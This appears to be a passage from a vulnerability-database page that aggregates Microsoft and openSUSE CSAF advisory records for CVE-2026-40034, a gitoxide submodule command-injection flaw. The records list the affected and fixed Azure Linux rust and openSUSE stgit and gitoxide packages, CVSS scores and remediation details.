"product_reference": "4",
"relates_to_product_reference": "17084"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "azl3 rust 0:1.90.0-7.azl3 as a component of Azure Linux 3.0",
"product_id": "17084-3"
},
"product_reference": "3",
"relates_to_product_reference": "17084"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "\u003cazl3 rust 0:1.90.0-8.azl3 as a component of Azure Linux 3.0",
"product_id": "17084-1"
},
"product_reference": "1",
"relates_to_product_reference": "17084"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "azl3 rust 0:1.90.0-8.azl3 as a component of Azure Linux 3.0",
"product_id": "21433-17084"
},
"product_reference": "21433",
"relates_to_product_reference": "17084"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-40034",
"cwe": {
"id": "CWE-77",
"name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
},
"notes": [
{
"category": "general",
"text": "VulnCheck",
"title": "Assigning CNA"
}
],
"product_status": {
"fixed": [
"21400-17084",
"21433-17084"
],
"known_affected": [
"17084-2",
"17084-4",
"17084-3",
"17084-1"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-40034 gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule - VEX",
"url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-40034.json"
}
],
"remediations": [
{
"category": "none_available",
"date": "2026-05-31T01:04:52.000Z",
"details": "There is no fix available for this vulnerability as of now",
"product_ids": [
"17084-4"
]
},
{
"category": "none_available",
"date": "2026-05-31T01:04:52.000Z",
"details": "There is no fix available for this vulnerability as of now",
"product_ids": [
"17084-3"
]
},
{
"category": "vendor_fix",
"date": "2026-05-31T01:04:52.000Z",
"details": "0:1.75.0-30.azl3:Security Update:https://learn.microsoft.com/en-us/azure/azure-linux/tutorial-azure-linux-upgrade",
"product_ids": [
"17084-2"
],
"url": "https://learn.microsoft.com/en-us/azure/azure-linux/tutorial-azure-linux-upgrade"
},
{
"category": "vendor_fix",
"date": "2026-05-31T01:04:52.000Z",
"details": "0:1.90.0-9.azl3:Security Update:https://learn.microsoft.com/en-us/azure/azure-linux/tutorial-azure-linux-upgrade",
"product_ids": [
"17084-1"
],
"url": "https://learn.microsoft.com/en-us/azure/azure-linux/tutorial-azure-linux-upgrade"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"environmentalsScore": 0.0,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"temporalScore": 7.8,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"17084-2",
"17084-4",
"17084-3",
"17084-1"
]
}
],
"title": "gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule"
}
]
}
OPENSUSE-SU-2026:11038-1
Vulnerability from csaf_opensuse - Published: 2026-06-15 00:00 - Updated: 2026-06-15 00:00| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:stgit-2.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-2.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-2.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-2.6.0-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.x86_64 | — |
Vendor Fix
|
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "stgit-2.6.0-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the stgit-2.6.0-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-11038",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_11038-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-40034 page",
"url": "https://www.suse.com/security/cve/CVE-2026-40034/"
}
],
"title": "stgit-2.6.0-1.1 on GA media",
"tracking": {
"current_release_date": "2026-06-15T00:00:00Z",
"generator": {
"date": "2026-06-15T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:11038-1",
"initial_release_date": "2026-06-15T00:00:00Z",
"revision_history": [
{
"date": "2026-06-15T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "stgit-2.6.0-1.1.aarch64",
"product": {
"name": "stgit-2.6.0-1.1.aarch64",
"product_id": "stgit-2.6.0-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "stgit-bash-completion-2.6.0-1.1.aarch64",
"product": {
"name": "stgit-bash-completion-2.6.0-1.1.aarch64",
"product_id": "stgit-bash-completion-2.6.0-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "stgit-emacs-2.6.0-1.1.aarch64",
"product": {
"name": "stgit-emacs-2.6.0-1.1.aarch64",
"product_id": "stgit-emacs-2.6.0-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "stgit-fish-completion-2.6.0-1.1.aarch64",
"product": {
"name": "stgit-fish-completion-2.6.0-1.1.aarch64",
"product_id": "stgit-fish-completion-2.6.0-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "stgit-vim-plugin-2.6.0-1.1.aarch64",
"product": {
"name": "stgit-vim-plugin-2.6.0-1.1.aarch64",
"product_id": "stgit-vim-plugin-2.6.0-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "stgit-zsh-completion-2.6.0-1.1.aarch64",
"product": {
"name": "stgit-zsh-completion-2.6.0-1.1.aarch64",
"product_id": "stgit-zsh-completion-2.6.0-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "stgit-2.6.0-1.1.ppc64le",
"product": {
"name": "stgit-2.6.0-1.1.ppc64le",
"product_id": "stgit-2.6.0-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "stgit-bash-completion-2.6.0-1.1.ppc64le",
"product": {
"name": "stgit-bash-completion-2.6.0-1.1.ppc64le",
"product_id": "stgit-bash-completion-2.6.0-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "stgit-emacs-2.6.0-1.1.ppc64le",
"product": {
"name": "stgit-emacs-2.6.0-1.1.ppc64le",
"product_id": "stgit-emacs-2.6.0-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "stgit-fish-completion-2.6.0-1.1.ppc64le",
"product": {
"name": "stgit-fish-completion-2.6.0-1.1.ppc64le",
"product_id": "stgit-fish-completion-2.6.0-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "stgit-vim-plugin-2.6.0-1.1.ppc64le",
"product": {
"name": "stgit-vim-plugin-2.6.0-1.1.ppc64le",
"product_id": "stgit-vim-plugin-2.6.0-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "stgit-zsh-completion-2.6.0-1.1.ppc64le",
"product": {
"name": "stgit-zsh-completion-2.6.0-1.1.ppc64le",
"product_id": "stgit-zsh-completion-2.6.0-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "stgit-2.6.0-1.1.s390x",
"product": {
"name": "stgit-2.6.0-1.1.s390x",
"product_id": "stgit-2.6.0-1.1.s390x"
}
},
{
"category": "product_version",
"name": "stgit-bash-completion-2.6.0-1.1.s390x",
"product": {
"name": "stgit-bash-completion-2.6.0-1.1.s390x",
"product_id": "stgit-bash-completion-2.6.0-1.1.s390x"
}
},
{
"category": "product_version",
"name": "stgit-emacs-2.6.0-1.1.s390x",
"product": {
"name": "stgit-emacs-2.6.0-1.1.s390x",
"product_id": "stgit-emacs-2.6.0-1.1.s390x"
}
},
{
"category": "product_version",
"name": "stgit-fish-completion-2.6.0-1.1.s390x",
"product": {
"name": "stgit-fish-completion-2.6.0-1.1.s390x",
"product_id": "stgit-fish-completion-2.6.0-1.1.s390x"
}
},
{
"category": "product_version",
"name": "stgit-vim-plugin-2.6.0-1.1.s390x",
"product": {
"name": "stgit-vim-plugin-2.6.0-1.1.s390x",
"product_id": "stgit-vim-plugin-2.6.0-1.1.s390x"
}
},
{
"category": "product_version",
"name": "stgit-zsh-completion-2.6.0-1.1.s390x",
"product": {
"name": "stgit-zsh-completion-2.6.0-1.1.s390x",
"product_id": "stgit-zsh-completion-2.6.0-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "stgit-2.6.0-1.1.x86_64",
"product": {
"name": "stgit-2.6.0-1.1.x86_64",
"product_id": "stgit-2.6.0-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "stgit-bash-completion-2.6.0-1.1.x86_64",
"product": {
"name": "stgit-bash-completion-2.6.0-1.1.x86_64",
"product_id": "stgit-bash-completion-2.6.0-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "stgit-emacs-2.6.0-1.1.x86_64",
"product": {
"name": "stgit-emacs-2.6.0-1.1.x86_64",
"product_id": "stgit-emacs-2.6.0-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "stgit-fish-completion-2.6.0-1.1.x86_64",
"product": {
"name": "stgit-fish-completion-2.6.0-1.1.x86_64",
"product_id": "stgit-fish-completion-2.6.0-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "stgit-vim-plugin-2.6.0-1.1.x86_64",
"product": {
"name": "stgit-vim-plugin-2.6.0-1.1.x86_64",
"product_id": "stgit-vim-plugin-2.6.0-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "stgit-zsh-completion-2.6.0-1.1.x86_64",
"product": {
"name": "stgit-zsh-completion-2.6.0-1.1.x86_64",
"product_id": "stgit-zsh-completion-2.6.0-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-2.6.0-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-2.6.0-1.1.aarch64"
},
"product_reference": "stgit-2.6.0-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-2.6.0-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-2.6.0-1.1.ppc64le"
},
"product_reference": "stgit-2.6.0-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-2.6.0-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-2.6.0-1.1.s390x"
},
"product_reference": "stgit-2.6.0-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-2.6.0-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-2.6.0-1.1.x86_64"
},
"product_reference": "stgit-2.6.0-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-bash-completion-2.6.0-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.aarch64"
},
"product_reference": "stgit-bash-completion-2.6.0-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-bash-completion-2.6.0-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.ppc64le"
},
"product_reference": "stgit-bash-completion-2.6.0-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-bash-completion-2.6.0-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.s390x"
},
"product_reference": "stgit-bash-completion-2.6.0-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-bash-completion-2.6.0-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.x86_64"
},
"product_reference": "stgit-bash-completion-2.6.0-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-emacs-2.6.0-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.aarch64"
},
"product_reference": "stgit-emacs-2.6.0-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-emacs-2.6.0-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.ppc64le"
},
"product_reference": "stgit-emacs-2.6.0-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-emacs-2.6.0-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.s390x"
},
"product_reference": "stgit-emacs-2.6.0-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-emacs-2.6.0-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.x86_64"
},
"product_reference": "stgit-emacs-2.6.0-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-fish-completion-2.6.0-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.aarch64"
},
"product_reference": "stgit-fish-completion-2.6.0-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-fish-completion-2.6.0-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.ppc64le"
},
"product_reference": "stgit-fish-completion-2.6.0-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-fish-completion-2.6.0-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.s390x"
},
"product_reference": "stgit-fish-completion-2.6.0-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-fish-completion-2.6.0-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.x86_64"
},
"product_reference": "stgit-fish-completion-2.6.0-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-vim-plugin-2.6.0-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.aarch64"
},
"product_reference": "stgit-vim-plugin-2.6.0-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-vim-plugin-2.6.0-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.ppc64le"
},
"product_reference": "stgit-vim-plugin-2.6.0-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-vim-plugin-2.6.0-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.s390x"
},
"product_reference": "stgit-vim-plugin-2.6.0-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-vim-plugin-2.6.0-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.x86_64"
},
"product_reference": "stgit-vim-plugin-2.6.0-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-zsh-completion-2.6.0-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.aarch64"
},
"product_reference": "stgit-zsh-completion-2.6.0-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-zsh-completion-2.6.0-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.ppc64le"
},
"product_reference": "stgit-zsh-completion-2.6.0-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-zsh-completion-2.6.0-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.s390x"
},
"product_reference": "stgit-zsh-completion-2.6.0-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-zsh-completion-2.6.0-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.x86_64"
},
"product_reference": "stgit-zsh-completion-2.6.0-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-40034",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-40034"
}
],
"notes": [
{
"category": "general",
"text": "gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:stgit-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-40034",
"url": "https://www.suse.com/security/cve/CVE-2026-40034"
},
{
"category": "external",
"summary": "SUSE Bug 1266415 for CVE-2026-40034",
"url": "https://bugzilla.suse.com/1266415"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:stgit-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:stgit-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-bash-completion-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-emacs-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-fish-completion-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-vim-plugin-2.6.0-1.1.x86_64",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.aarch64",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.s390x",
"openSUSE Tumbleweed:stgit-zsh-completion-2.6.0-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-06-15T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-40034"
}
]
}
OPENSUSE-SU-2026:11474-1
Vulnerability from csaf_opensuse - Published: 2026-08-09 00:00 - Updated: 2026-08-09 00:00| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:gitoxide-0.56.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:gitoxide-0.56.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:gitoxide-0.56.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:gitoxide-0.56.0-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
